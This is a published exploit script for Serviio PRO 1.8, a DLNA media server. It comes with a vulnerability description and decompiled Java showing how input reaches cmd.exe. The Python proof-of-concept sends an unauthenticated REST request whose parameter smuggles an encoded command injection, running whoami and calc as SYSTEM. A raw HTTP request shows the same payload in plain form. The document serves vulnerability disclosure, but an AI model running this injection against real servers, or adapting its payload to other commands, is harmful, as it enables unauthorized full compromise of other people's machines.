Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution

`#!/usr/bin/env python  
#  
#  
# Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution  
#  
#  
# Vendor: Petr Nejedly | Six Lines Ltd  
# Product web page: http://www.serviio.org  
# Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1  
#  
# Summary: Serviio is a free media server. It allows you to stream your media  
# files (music, video or images) to renderer devices (e.g. a TV set, Bluray player,  
# games console or mobile phone) on your connected home network.  
#  
# Desc: The version of Serviio installed on the remote Windows host is affected by  
# an unauthenticated remote code execution vulnerability due to improper access control  
# enforcement of the Configuration REST API and unsanitized input when FFMPEGWrapper  
# calls cmd.exe to execute system commands. A remote attacker can exploit this with a  
# simple JSON request, gaining system access with SYSTEM privileges via a specially  
# crafted request and escape sequence.  
#  
# =================================================================================  
# org/serviio/ui/resources/server/ActionsServerResource.java:  
# -----------------------------------------------------------  
#  
# private ResultRepresentation checkStreamUrl(ActionRepresentation representation) {  
# this.validateParameters(representation, 2);  
# try {  
# MediaFileType fileType = MediaFileType.valueOf(representation.getParameters().get(0));  
# String url = StringUtils.trim(representation.getParameters().get(1));  
# LocalItemMetadata md = MetadataFactory.getMetadataInstance(fileType);  
# DeliveryContext context = fileType == MediaFileType.VIDEO ? new VideoDeliveryContext(false, null) : new AudioDeliveryContext(false, null);  
# FFmpegMetadataRetriever.retrieveOnlineMetadata(md, url, context);  
# return this.responseOk();  
# }  
# catch (InvalidMediaFormatException e) {  
# return this.responseOk(603);  
# }  
#  
# =================================================================================  
# serviio.jar / external / ProcessExecutor.java:  
# ----------------------------------------------  
#  
# private Map<String, String> createWindowsRuntimeEnvironmentVariables() {  
# HashMap<String, String> newEnv = new HashMap<String, String>();  
# newEnv.putAll(System.getenv());  
# ProcessExecutorParameter[] i18n = new ProcessExecutorParameter[this.commandArguments.length + 2];  
# i18n[0] = new ProcessExecutorParameter("cmd");  
# i18n[1] = new ProcessExecutorParameter("/C");  
# for (int counter = 0; counter < this.commandArguments.length; ++counter) {  
# ProcessExecutorParameter argument = this.commandArguments[counter];  
# String envName = "JENV_" + counter;  
# i18n[counter + 2] = new ProcessExecutorParameter("%" + envName + "%");  
# boolean quotesNeededForWindows = this.quotesNeededForWindows(argument);  
# if (!quotesNeededForWindows) {  
# argument = new ProcessExecutorParameter(this.escapeAmpersandForWindows(argument.getValue()));  
# }  
# newEnv.put(envName, this.wrapInQuotes(argument, quotesNeededForWindows));  
# }  
# this.commandArguments = i18n;  
# String[] tempPath = FileUtils.splitFilePathToDriveAndRest(System.getProperty("java.io.tmpdir"));  
# newEnv.put("HOMEDRIVE", tempPath[0]);  
# newEnv.put("HOMEPATH", tempPath[1]);  
# newEnv.putAll(this.createFontConfigRuntimeEnvironmentVariables());  
# if (log.isTraceEnabled()) {  
# log.trace(String.format("Env variables: %s", newEnv.toString()));  
# }  
# return newEnv;  
# }  
#  
# private String wrapInQuotes(ProcessExecutorParameter argument, boolean quotesNeeded) {  
# return (quotesNeeded ? "\"" : "") + argument + (quotesNeeded ? "\"" : "");  
# }  
#  
# protected boolean quotesNeededForWindows(ProcessExecutorParameter argument) {  
# boolean quotesNeeded = argument.getValue().indexOf(" ") > -1;  
# return quotesNeeded;  
# }  
#  
# private String escapeAmpersandForWindows(String value) {  
# return value.replaceAll("&", "^&");  
# }  
#  
# =================================================================================  
#  
# Tested on: Restlet-Framework/2.2  
# Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8  
# Java/1.8.0_121  
# Java/1.8.0_111  
# Java/1.8.0_91  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2017-5408  
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php  
#  
# SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094  
#  
#  
# 12.12.2016  
#  
  
  
#  
# The PoC will create a file testingus3.txt in 'C:\Program Files\Serviio\bin' with whoami  
# output in it and start a calc.exe child process as nt authority\system.  
#  
  
from urllib2 import Request, urlopen  
import sys  
  
if (len(sys.argv) <= 1):  
print '[*] Usage: serviio_rce.py <ip address>'  
exit(0)  
  
host = sys.argv[1]  
  
values = """  
<action>  
<name>checkStreamUrl</name>  
<parameter>VIDEO</parameter>  
<parameter>1.2.3.4&#x27;&#x5c;&#x22;&#x60;&#x26;&#x77;&#x68;&#x6f;&#x61;&#x6d;&#x69;&#x20;&#x3e;&#x74;&#x65;&#x73;&#x74;&#x69;&#x6e;&#x67;&#x75;&#x73;&#x33;&#x2e;&#x74;&#x78;&#x74;&#x26;&#x26;&#x63;&#x61;&#x6c;&#x63;&#x26;&#x60;&#x27;</parameter>  
</action>"""  
  
headers = {  
'Content-Type': 'application/xml',  
'Accept': 'application/xml'  
}  
request = Request('http://'+host+':23423/rest/action', data=values, headers=headers)  
  
response_body = urlopen(request).read()  
print response_body  
  
  
'''  
Raw request:  
  
POST /rest/action HTTP/1.1  
Host: 10.211.55.3:23423  
Content-Length: 93  
Accept: application/json, text/plain, */*  
Origin: http://10.211.55.3:23423  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36  
Content-Type: application/json;charset=UTF-8  
Referer: http://10.211.55.3:23423/console/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.8  
DNT: 1  
Connection: close  
  
{"name":"checkStreamUrl","parameter":["VIDEO","1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'"]}  
  
'''  
`